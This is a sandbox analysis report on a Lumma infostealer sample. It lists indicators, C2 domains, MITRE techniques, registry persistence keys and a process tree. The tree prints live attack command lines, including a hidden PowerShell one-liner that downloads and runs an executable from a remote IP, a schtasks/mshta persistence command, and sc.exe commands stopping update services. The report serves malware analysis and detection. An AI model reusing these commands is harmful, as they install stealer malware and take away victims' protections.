lumma | 43210fa69584be3a162adcedda4cf7e4e61eda835a9955f94080b251f97f71a1

Analysis

max time kernel
149s
max time network
153s
platform
windows11-21h2_x64
resource
win11-20250502-en
resource tags

arch:x64arch:x86image:win11-20250502-enlocale:en-usos:windows11-21h2-x64system
submitted
22/05/2025, 21:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
39f811c648cc1f58d649c0b9fba6f72d.exe
Size 938KB
Sample250522-1ctptazly3
SHA256 43210fa69584be3a162adcedda4cf7e4e61eda835a9955f94080b251f97f71a1
MD5 39f811c648cc1f58d649c0b9fba6f72d
SHA1 5ca782a3f40ba1539bcc214065901a000126c179
SHA512 6ad51ad4deac4a2bb31e17ad3e51903bb3379b008049b646dae1d3587a41f968e233e90706232dde758d83f39113799ec0f38c5c3a50812fe6168d8c5b1dad0e
SSDEEP 24576:/qDEvCTbMWu7rQYlBQcBiT6rprG8aMlb:/TvC/MTQYxsWR7aMl
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

lumma credential_access defense_evasion discovery execution impact persistence ransomware spyware stealer themida trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://185.156.72.2/testmine/random.exe

Extracted

Family

lumma

https://cornerdurv.top/adwq
https://narrathfpt.top/tekq
https://escczlv.top/bufi
https://localixbiw.top/zlpa
https://korxddl.top/qidz
https://ordntx.top/pxla/api
https://diecam.top/laur/api
https://citellcagt.top/gjtu
https://bogtkr.top/zhyk/api

Signatures

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma

Modifies WinLogon for persistence 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit.exe,C:\\ProgramData\\WindowsService.{D20EA4E1-3957-11D2-A40B-0C5020524153}\\UserOOBEBroker.exe"	W9FKYTYWHTPHNE5PRXBEJPOK.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe,C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\CLR\\runtime_broker.exe"	Mmw5WKs.exe

Modifies Windows Defender notification settings 3 TTPs 2 IoCs

defense_evasion trojan

Windows Service

T1543.003

Modify Registry

T1112

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications	S25I6FUNO64BUBYODZS9ZY97SR8CU5Q.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	S25I6FUNO64BUBYODZS9ZY97SR8CU5Q.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	LgEEypr.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
1	2124	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4988	powershell.exe
1948	powershell.exe
2332	powershell.exe
2472	powershell.exe
5976	powershell.exe
5676	powershell.exe
2100	powershell.exe
2124	powershell.exe

Downloads MZ/PE file 10 IoCs

flow	pid	Process
4	4792	ramez.exe
4	4792	ramez.exe
4	4792	ramez.exe
4	4792	ramez.exe
4	4792	ramez.exe
4	4792	ramez.exe
4	4792	ramez.exe
4	4792	ramez.exe
11	5224	LgEEypr.exe
1	2124	powershell.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe	Mmw5WKs.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\CLR\\runtime_broker.exe\""	Mmw5WKs.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Uses browser remote debugging 2 TTPs 5 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
1748	chrome.exe
4068	chrome.exe
2384	chrome.exe
2964	chrome.exe
2872	chrome.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	LgEEypr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	LgEEypr.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Executes dropped EXE 15 IoCs

pid	Process
464	TempZGJIC102VLLJKZYJFRCBQK8RNJF3GVGU.EXE
4792	ramez.exe
4868	ramez.exe
5224	LgEEypr.exe
2364	S25I6FUNO64BUBYODZS9ZY97SR8CU5Q.exe
3648	W9FKYTYWHTPHNE5PRXBEJPOK.exe
4716	Mmw5WKs.exe
4552	runtime_broker.exe
6080	ZCm7ZwA.exe
3384	UserOOBEBroker.exe
312	ramez.exe
5888	i0vIpjm.exe
5220	WmiPrvSE.exe
4828	qc8MT4h.exe
5948	cawzlaZ.exe

Reads ssh keys stored on the system 2 TTPs
Tries to access SSH used by SSH programs.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Themida packer 5 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x001900000002b19a-49.dat	themida
behavioral2/memory/5224-59-0x0000000000400000-0x00000000009A7000-memory.dmp	themida
behavioral2/memory/5224-60-0x0000000000400000-0x00000000009A7000-memory.dmp	themida
behavioral2/memory/5224-61-0x0000000000400000-0x00000000009A7000-memory.dmp	themida
behavioral2/memory/5224-81-0x0000000000400000-0x00000000009A7000-memory.dmp	themida

Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3588213599-686740421-4058676312-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsRuntimeBroker = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\CLR\\runtime_broker.exe"	Mmw5WKs.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\WindowsSecurityService = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\CLR\\runtime_broker.exe"	Mmw5WKs.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	LgEEypr.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Power Settings 1 TTPs 10 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
1364	powercfg.exe
5760	powercfg.exe
3808	cmd.exe
4072	powercfg.exe
2868	cmd.exe
2388	cmd.exe
5388	cmd.exe
5012	powercfg.exe
2212	powercfg.exe
1420	cmd.exe

Enumerates processes with tasklist 1 TTPs 18 IoCs

discovery

Process Discovery

T1057

pid	Process
4752	tasklist.exe
5384	tasklist.exe
6056	tasklist.exe
1528	tasklist.exe
4076	tasklist.exe
2488	tasklist.exe
3904	tasklist.exe
5492	tasklist.exe
3760	tasklist.exe
4204	tasklist.exe
5068	tasklist.exe
5816	tasklist.exe
3624	tasklist.exe
2492	tasklist.exe
5724	tasklist.exe
2640	tasklist.exe
1836	tasklist.exe
4060	tasklist.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 5888 set thread context of 3096	5888	i0vIpjm.exe	327
PID 5948 set thread context of 3924	5948	cawzlaZ.exe	336

Drops file in Windows directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SealedRespiratory	qc8MT4h.exe
File opened for modification	C:\Windows\RelatesAdaptive	qc8MT4h.exe
File opened for modification	C:\Windows\EggHowto	qc8MT4h.exe
File opened for modification	C:\Windows\LiesRevelation	qc8MT4h.exe
File created	C:\Windows\Tasks\ramez.job	TempZGJIC102VLLJKZYJFRCBQK8RNJF3GVGU.EXE
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\PlcDare	qc8MT4h.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
5676	powershell.exe

Launches sc.exe 11 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3936	sc.exe
5588	sc.exe
2404	sc.exe
1696	sc.exe
1460	sc.exe
5372	sc.exe
6112	sc.exe
5340	sc.exe
1652	sc.exe
4480	sc.exe
3172	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 13 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	39f811c648cc1f58d649c0b9fba6f72d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	LgEEypr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qc8MT4h.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempZGJIC102VLLJKZYJFRCBQK8RNJF3GVGU.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ramez.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	MSBuild.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	MSBuild.exe

Delays execution with timeout.exe 3 IoCs

defense_evasion

pid	Process
1432	timeout.exe
2536	timeout.exe
2804	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1184	vssadmin.exe

Kills process with taskkill 39 IoCs

defense_evasion

pid	Process
2384	taskkill.exe
1588	taskkill.exe
1324	taskkill.exe
5612	taskkill.exe
968	taskkill.exe
556	taskkill.exe
4236	taskkill.exe
1300	taskkill.exe
3540	taskkill.exe
5820	taskkill.exe
128	taskkill.exe
3948	taskkill.exe
4956	taskkill.exe
248	taskkill.exe
1028	taskkill.exe
5892	taskkill.exe
1340	taskkill.exe
5940	taskkill.exe
5156	taskkill.exe
5132	taskkill.exe
4984	taskkill.exe
5700	taskkill.exe
668	taskkill.exe
4728	taskkill.exe
4644	taskkill.exe
456	taskkill.exe
5724	taskkill.exe
4596	taskkill.exe
6096	taskkill.exe
2628	taskkill.exe
424	taskkill.exe
4676	taskkill.exe
6060	taskkill.exe
5412	taskkill.exe
4920	taskkill.exe
2044	taskkill.exe
1280	taskkill.exe
2292	taskkill.exe
4784	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133924231062325413"	chrome.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1852	reg.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2452	schtasks.exe
4560	schtasks.exe
2456	schtasks.exe

Suspicious behavior: EnumeratesProcesses 26 IoCs

pid	Process
2124	powershell.exe
2124	powershell.exe
5224	LgEEypr.exe
5224	LgEEypr.exe
5224	LgEEypr.exe
5224	LgEEypr.exe
5224	LgEEypr.exe
5224	LgEEypr.exe
5224	LgEEypr.exe
5224	LgEEypr.exe
4988	powershell.exe
4988	powershell.exe
1948	powershell.exe
1948	powershell.exe
2332	powershell.exe
2332	powershell.exe
2472	powershell.exe
2472	powershell.exe
5976	powershell.exe
5976	powershell.exe
2100	powershell.exe
2100	powershell.exe
5676	powershell.exe
5676	powershell.exe
1748	chrome.exe
1748	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2124	powershell.exe
Token: SeImpersonatePrivilege	5224	LgEEypr.exe
Token: SeImpersonatePrivilege	5224	LgEEypr.exe
Token: SeDebugPrivilege	3648	W9FKYTYWHTPHNE5PRXBEJPOK.exe
Token: SeDebugPrivilege	4988	powershell.exe
Token: SeDebugPrivilege	1948	powershell.exe
Token: SeDebugPrivilege	2332	powershell.exe
Token: SeDebugPrivilege	2472	powershell.exe
Token: SeShutdownPrivilege	5012	powercfg.exe
Token: SeCreatePagefilePrivilege	5012	powercfg.exe
Token: SeShutdownPrivilege	2212	powercfg.exe
Token: SeCreatePagefilePrivilege	2212	powercfg.exe
Token: SeShutdownPrivilege	4072	powercfg.exe
Token: SeCreatePagefilePrivilege	4072	powercfg.exe
Token: SeShutdownPrivilege	1364	powercfg.exe
Token: SeCreatePagefilePrivilege	1364	powercfg.exe
Token: SeShutdownPrivilege	5760	powercfg.exe
Token: SeCreatePagefilePrivilege	5760	powercfg.exe
Token: SeBackupPrivilege	1784	vssvc.exe
Token: SeRestorePrivilege	1784	vssvc.exe
Token: SeAuditPrivilege	1784	vssvc.exe
Token: SeDebugPrivilege	5976	powershell.exe
Token: SeDebugPrivilege	5816	tasklist.exe
Token: SeDebugPrivilege	3624	tasklist.exe
Token: SeDebugPrivilege	4076	tasklist.exe
Token: SeDebugPrivilege	2100	powershell.exe
Token: SeDebugPrivilege	2492	tasklist.exe
Token: SeDebugPrivilege	5940	taskkill.exe
Token: SeIncreaseQuotaPrivilege	2100	powershell.exe
Token: SeSecurityPrivilege	2100	powershell.exe
Token: SeTakeOwnershipPrivilege	2100	powershell.exe
Token: SeLoadDriverPrivilege	2100	powershell.exe
Token: SeSystemProfilePrivilege	2100	powershell.exe
Token: SeSystemtimePrivilege	2100	powershell.exe
Token: SeProfSingleProcessPrivilege	2100	powershell.exe
Token: SeIncBasePriorityPrivilege	2100	powershell.exe
Token: SeCreatePagefilePrivilege	2100	powershell.exe
Token: SeBackupPrivilege	2100	powershell.exe
Token: SeRestorePrivilege	2100	powershell.exe
Token: SeShutdownPrivilege	2100	powershell.exe
Token: SeDebugPrivilege	2100	powershell.exe
Token: SeSystemEnvironmentPrivilege	2100	powershell.exe
Token: SeRemoteShutdownPrivilege	2100	powershell.exe
Token: SeUndockPrivilege	2100	powershell.exe
Token: SeManageVolumePrivilege	2100	powershell.exe
Token: 33	2100	powershell.exe
Token: 34	2100	powershell.exe
Token: 35	2100	powershell.exe
Token: 36	2100	powershell.exe
Token: SeDebugPrivilege	5412	taskkill.exe
Token: SeDebugPrivilege	668	taskkill.exe
Token: SeDebugPrivilege	4752	tasklist.exe
Token: SeDebugPrivilege	5676	powershell.exe
Token: SeDebugPrivilege	2044	taskkill.exe
Token: SeDebugPrivilege	2488	tasklist.exe
Token: SeDebugPrivilege	5724	tasklist.exe
Token: SeDebugPrivilege	4728	taskkill.exe
Token: SeDebugPrivilege	968	taskkill.exe
Token: SeDebugPrivilege	5384	tasklist.exe
Token: SeDebugPrivilege	556	taskkill.exe
Token: SeDebugPrivilege	5892	taskkill.exe
Token: SeDebugPrivilege	1280	taskkill.exe
Token: SeDebugPrivilege	4956	taskkill.exe
Token: SeDebugPrivilege	3904	tasklist.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
3508	39f811c648cc1f58d649c0b9fba6f72d.exe
3508	39f811c648cc1f58d649c0b9fba6f72d.exe
3508	39f811c648cc1f58d649c0b9fba6f72d.exe
1748	chrome.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
3508	39f811c648cc1f58d649c0b9fba6f72d.exe
3508	39f811c648cc1f58d649c0b9fba6f72d.exe
3508	39f811c648cc1f58d649c0b9fba6f72d.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3508 wrote to memory of 5952	3508	39f811c648cc1f58d649c0b9fba6f72d.exe	82
PID 3508 wrote to memory of 5952	3508	39f811c648cc1f58d649c0b9fba6f72d.exe	82
PID 3508 wrote to memory of 5952	3508	39f811c648cc1f58d649c0b9fba6f72d.exe	82
PID 3508 wrote to memory of 1364	3508	39f811c648cc1f58d649c0b9fba6f72d.exe	83
PID 3508 wrote to memory of 1364	3508	39f811c648cc1f58d649c0b9fba6f72d.exe	83
PID 3508 wrote to memory of 1364	3508	39f811c648cc1f58d649c0b9fba6f72d.exe	83
PID 5952 wrote to memory of 2452	5952	cmd.exe	85
PID 5952 wrote to memory of 2452	5952	cmd.exe	85
PID 5952 wrote to memory of 2452	5952	cmd.exe	85
PID 1364 wrote to memory of 2124	1364	mshta.exe	86
PID 1364 wrote to memory of 2124	1364	mshta.exe	86
PID 1364 wrote to memory of 2124	1364	mshta.exe	86
PID 2124 wrote to memory of 464	2124	powershell.exe	90
PID 2124 wrote to memory of 464	2124	powershell.exe	90
PID 2124 wrote to memory of 464	2124	powershell.exe	90
PID 464 wrote to memory of 4792	464	TempZGJIC102VLLJKZYJFRCBQK8RNJF3GVGU.EXE	91
PID 464 wrote to memory of 4792	464	TempZGJIC102VLLJKZYJFRCBQK8RNJF3GVGU.EXE	91
PID 464 wrote to memory of 4792	464	TempZGJIC102VLLJKZYJFRCBQK8RNJF3GVGU.EXE	91
PID 4792 wrote to memory of 5224	4792	ramez.exe	93
PID 4792 wrote to memory of 5224	4792	ramez.exe	93
PID 4792 wrote to memory of 5224	4792	ramez.exe	93
PID 5224 wrote to memory of 2364	5224	LgEEypr.exe	95
PID 5224 wrote to memory of 2364	5224	LgEEypr.exe	95
PID 2364 wrote to memory of 5980	2364	S25I6FUNO64BUBYODZS9ZY97SR8CU5Q.exe	96
PID 2364 wrote to memory of 5980	2364	S25I6FUNO64BUBYODZS9ZY97SR8CU5Q.exe	96
PID 5980 wrote to memory of 4540	5980	cmd.exe	98
PID 5980 wrote to memory of 4540	5980	cmd.exe	98
PID 4540 wrote to memory of 5232	4540	net.exe	99
PID 4540 wrote to memory of 5232	4540	net.exe	99
PID 2364 wrote to memory of 5588	2364	S25I6FUNO64BUBYODZS9ZY97SR8CU5Q.exe	100
PID 2364 wrote to memory of 5588	2364	S25I6FUNO64BUBYODZS9ZY97SR8CU5Q.exe	100
PID 2364 wrote to memory of 5372	2364	S25I6FUNO64BUBYODZS9ZY97SR8CU5Q.exe	102
PID 2364 wrote to memory of 5372	2364	S25I6FUNO64BUBYODZS9ZY97SR8CU5Q.exe	102
PID 2364 wrote to memory of 6112	2364	S25I6FUNO64BUBYODZS9ZY97SR8CU5Q.exe	104
PID 2364 wrote to memory of 6112	2364	S25I6FUNO64BUBYODZS9ZY97SR8CU5Q.exe	104
PID 2364 wrote to memory of 5340	2364	S25I6FUNO64BUBYODZS9ZY97SR8CU5Q.exe	106
PID 2364 wrote to memory of 5340	2364	S25I6FUNO64BUBYODZS9ZY97SR8CU5Q.exe	106
PID 2364 wrote to memory of 2404	2364	S25I6FUNO64BUBYODZS9ZY97SR8CU5Q.exe	108
PID 2364 wrote to memory of 2404	2364	S25I6FUNO64BUBYODZS9ZY97SR8CU5Q.exe	108
PID 2364 wrote to memory of 1696	2364	S25I6FUNO64BUBYODZS9ZY97SR8CU5Q.exe	110
PID 2364 wrote to memory of 1696	2364	S25I6FUNO64BUBYODZS9ZY97SR8CU5Q.exe	110
PID 5224 wrote to memory of 3648	5224	LgEEypr.exe	111
PID 5224 wrote to memory of 3648	5224	LgEEypr.exe	111
PID 5224 wrote to memory of 552	5224	LgEEypr.exe	113
PID 5224 wrote to memory of 552	5224	LgEEypr.exe	113
PID 5224 wrote to memory of 552	5224	LgEEypr.exe	113
PID 2364 wrote to memory of 1652	2364	S25I6FUNO64BUBYODZS9ZY97SR8CU5Q.exe	115
PID 2364 wrote to memory of 1652	2364	S25I6FUNO64BUBYODZS9ZY97SR8CU5Q.exe	115
PID 552 wrote to memory of 1432	552	cmd.exe	117
PID 552 wrote to memory of 1432	552	cmd.exe	117
PID 552 wrote to memory of 1432	552	cmd.exe	117
PID 3648 wrote to memory of 3476	3648	W9FKYTYWHTPHNE5PRXBEJPOK.exe	118
PID 3648 wrote to memory of 3476	3648	W9FKYTYWHTPHNE5PRXBEJPOK.exe	118
PID 2364 wrote to memory of 4480	2364	S25I6FUNO64BUBYODZS9ZY97SR8CU5Q.exe	120
PID 2364 wrote to memory of 4480	2364	S25I6FUNO64BUBYODZS9ZY97SR8CU5Q.exe	120
PID 3476 wrote to memory of 4560	3476	cmd.exe	121
PID 3476 wrote to memory of 4560	3476	cmd.exe	121
PID 2364 wrote to memory of 1460	2364	S25I6FUNO64BUBYODZS9ZY97SR8CU5Q.exe	123
PID 2364 wrote to memory of 1460	2364	S25I6FUNO64BUBYODZS9ZY97SR8CU5Q.exe	123
PID 2364 wrote to memory of 3172	2364	S25I6FUNO64BUBYODZS9ZY97SR8CU5Q.exe	125
PID 2364 wrote to memory of 3172	2364	S25I6FUNO64BUBYODZS9ZY97SR8CU5Q.exe	125
PID 3648 wrote to memory of 4524	3648	W9FKYTYWHTPHNE5PRXBEJPOK.exe	126
PID 3648 wrote to memory of 4524	3648	W9FKYTYWHTPHNE5PRXBEJPOK.exe	126
PID 2364 wrote to memory of 5540	2364	S25I6FUNO64BUBYODZS9ZY97SR8CU5Q.exe	129

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3460	attrib.exe

C:\Users\Admin\AppData\Local\Temp\39f811c648cc1f58d649c0b9fba6f72d.exe
"C:\Users\Admin\AppData\Local\Temp\39f811c648cc1f58d649c0b9fba6f72d.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3508
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn If22DmaCyvN /tr "mshta C:\Users\Admin\AppData\Local\Temp\gqmm7oRoO.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5952
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn If22DmaCyvN /tr "mshta C:\Users\Admin\AppData\Local\Temp\gqmm7oRoO.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2452
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\gqmm7oRoO.hta
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1364
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'ZGJIC102VLLJKZYJFRCBQK8RNJF3GVGU.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.156.72.2/testmine/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2124
  - - C:\Users\Admin\AppData\Local\TempZGJIC102VLLJKZYJFRCBQK8RNJF3GVGU.EXE
      "C:\Users\Admin\AppData\Local\TempZGJIC102VLLJKZYJFRCBQK8RNJF3GVGU.EXE"
      4⤵
      Executes dropped EXE
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:464
    - - C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe
        
        "C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe"
        5⤵
        Downloads MZ/PE file
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4792
      - C:\Users\Admin\AppData\Local\Temp\10174890101\LgEEypr.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10174890101\LgEEypr.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Downloads MZ/PE file
        Checks BIOS information in registry
        Executes dropped EXE
        Checks whether UAC is enabled
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5224
        
        C:\Users\Admin\AppData\Local\Temp\S25I6FUNO64BUBYODZS9ZY97SR8CU5Q.exe
        
        "C:\Users\Admin\AppData\Local\Temp\S25I6FUNO64BUBYODZS9ZY97SR8CU5Q.exe"
        7⤵
        Modifies Windows Defender notification settings
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2364
        
        C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /C net session
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:5980
        
        C:\Windows\system32\net.exe
        
        net session
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:4540
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        10⤵
        
        PID:5232
        
        C:\Windows\SYSTEM32\sc.exe
        
        sc.exe stop wuauserv
        8⤵
        Launches sc.exe
        
        PID:5588
        
        C:\Windows\SYSTEM32\sc.exe
        
        sc.exe stop UsoSvc
        8⤵
        Launches sc.exe
        
        PID:5372
        
        C:\Windows\SYSTEM32\sc.exe
        
        sc.exe stop bits
        8⤵
